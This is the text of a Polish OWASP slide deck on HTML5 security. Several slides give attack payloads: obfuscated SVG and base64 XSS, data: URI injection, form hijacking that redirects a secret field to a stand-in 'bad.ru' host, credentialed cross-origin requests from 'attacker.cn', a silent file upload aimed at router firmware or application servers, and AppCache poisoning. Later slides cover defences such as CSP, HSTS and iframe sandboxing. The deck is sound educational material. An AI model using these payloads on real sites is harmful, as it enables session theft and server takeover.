  • 9. XSS  SVG, base64 - XSS i zaciemnnianie <svg><image style='filter:url("data:image/svg +xml,<svg xmlns=%22http://www.w3.org/2000/svg %22><script>parent.alert(1)</script></svg>")'></ svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC 9zdmciPjxzY3JpcHQ %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg> OWASP 9
  • 10. Data: URI  Użyj, jak kiedyś javascript: // all <a href=data:text/ html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a> // IE <link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d >  Sprawdź przekierowania! http://vuln.pl/?redirect=data:text/html,.... Location: data:text/html,... OWASP 10
  • 11. Przechwytywanie formularzy  Bez użycia Javascript <form id=f action=https://good.com> <input name=secret> </form> // anywhere in the document <button form=f formaction=http:// bad.ru>CLICK </button> OWASP 11
  • 12. Wykorzystanie XSS  HTML5 pomaga przy eksploitacji  WebSockets - wydajne połączenie z C&C  Dane w DB, HTML5 filesystem, Web Storage  // stealth mode history.pushState('/innocent-url') // wstrzyknięcie kodu localStorage['code']='alert(/1/)';  // później eval(localStorage['code']) OWASP 12
  • 13. Klasyczny XHR  Tylko w ramach tej samej domeny OWASP 13
  • 14. Cross Origin Resource Sharing  Międzydomenowy OWASP 14
  • 15. CORS  Międzydomenowe XHR, z poświadczeniami (credentials):  cookies  certyfikat SSL/TLS kliencki  poświadczenia HTTP auth  Docelowy serwer podejmuje decyzję  Odsyła odpowiednie nagłówki OWASP 15
  • 16. CORS // http://attacker.cn var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim.pl"); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // cookies etc. xhr.send("Anything"); OWASP 16
  • 17. CORS  Żądanie XHR dociera do serwera  Z poświadczeniami  Można wykorzystać do Cross Site Request Forgery  Tak jak <form>, <img src> itd.  Nic nowego? OWASP 17
  • 18. Cichy upload plików ing "); "An yth r.s end( xh Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- OWASP 18
  • 19. Cichy upload plików xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx"); xhr.send(' --xxxrn Content-Disposition: form-data; name="files"; filename="file1.txt"rn Content-Type: text/plainrn rn ANYTHINGrn --xxx--'); OWASP 19
  • 20. Cichy upload plików  Udaje multipart/form-data request z uploadem poprzez <input type=file>  Użyj do:  Zastąpienia firmware’u w routerach  Przejęcia kontroli nad serwerami aplikacyjnymi logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); OWASP 20
  • 21. Wstrzyknięcie treści  http://website/#/a/page xhr.open("GET", "/a/page");  https://touch.facebook.com/#http:// example.com/xss.php HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html <img src=x onerror=alert(1)> OWASP 21
  • 22. Offline web applications  Cache offline <html manifest=/cache.manifest>  Manifest  Typ MIME text/cache-manifest CACHE MANIFEST / /main/home /main/app.js /settings/home /settings/app.js http://img.example.com/logo.png  Cache odświeża się, kiedy zmieni się plik OWASP 22
  • 23. Man in the middle  Podgląd / zmiana ruchu  XSS  session hijack (Firesheep)  Atak nietrwały OWASP 23
  • 24. AppCache poison 1. W trakcie MITM: wstrzyknięcie trucizny <html manifest="/robots.txt"> CACHE MANIFEST ....<script>evil_foo()</script> CACHE: http://victim/ NETWORK: * 2. Po zakończeniu MITM: • ofiara odwiedza stronę • robots.txt ma niewłaściwy typ MIME • zatruta strona pobierana z cache • złośliwy kod uruchamia się • ... aż do ręcznego wyczyszczenia offline cache OWASP 24
  • 25. AppCache poison OWASP 25
  • 26. AppCache poison  Jak się bronić?  SSL/TLS  Wyczyszczenie offline cache OWASP 26
  • 27. HTML5 - obrona (w trakcie budowy) OWASP 27
  • 28. HTML5 - metody obrony  Content Security Policy (XSS)  Nagłówek Origin (CSRF)  HTTP Strict Transport Security (MITM)  Iframe sandbox (izolacja treści) OWASP 28
  • 29. Content Security Policy  Polityka zapobiegająca m.in. XSS  Firefox / Chrome / IE 10 / Safari  Ciężka w implementacji <a onclick=....> <script>code</script>  Defense-in-depth OWASP 29
  • 30. Content Security Policy Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'; object-src 'none' OWASP 30
  • 31. Nagłówek Origin Referer: http://host:port/url/?a=1  Często używany do zabezpieczenia przed CSRF if (req.headers.referer && !req.headers.referer.match('ok.com')) { tell_attacker_to_get_lost(); } else { process(); }  Kiedyś łatwy do podrobienia OWASP 31
  • 32. Nagłówek Origin  Łatwo pozbyć się nagłówka Referer!  preferencje przeglądarki  https:// → http://  niemożliwa do ustalenia wartość location = 'data:text/html,<html><meta http- equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=''+url+''></ form><script>document.f.submit()</scri'+'pt>"></html>'; OWASP 32
  • 33. Nagłówek Origin  szanuje prywatność Referer: http://host:port/naga-prawda Origin: http://host:port  zachowany przy ruchu https:// → http://  nie może być podrobiony  nieznany → Origin: null OWASP 33
  • 34. HSTS  HTTP Strict Transport Security  Zabezpiecza przed atakami SSL stripping GET / HTTP/1.1 Host: gmail.com HTTP/1.1 301 Be Secure Location: https://mail.google.com/ OWASP 34
  • 35. HSTS Strict-Transport-Security: max-age=1576800; includeSubDomains  Dozwolone tylko szyfrowane połączenia  Ciche tłumaczenie http:// na https://  “Hard fail” w przypadku błędów SSL/TLS OWASP 35
  • 36. Iframe sandbox <script>user_id=4</script> <iframe sandbox src=untrusted-ad.aspx />  Bez dostępu do DOM  Bez skryptów  Bez pluginów (Java, Flash, ...)  Bez formularzy  Bez framebusting  Ograniczenia można wybiórczo wyłączać OWASP 36
  • 37. Iframe sandbox <iframe sandbox src="data:text/html, <script>alert('haha!')</script>"> </iframe> // attacker.com <iframe sandbox="allow-scripts allow-forms" src=http://clickjacked/ > </iframe> OWASP 37
  • 38. Podsumowanie  Nowe możliwości, także dla atakującego  XSS groźniejszy w skutkach  Nowe narzędzia do obrony  Warto je zastosować w kombinacji z tradycyjnymi metodami OWASP 38
  • 39. Odnośniki  html5security.org  html5sec.org  www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet  github.com/koto/  blog.kotowicz.net OWASP 39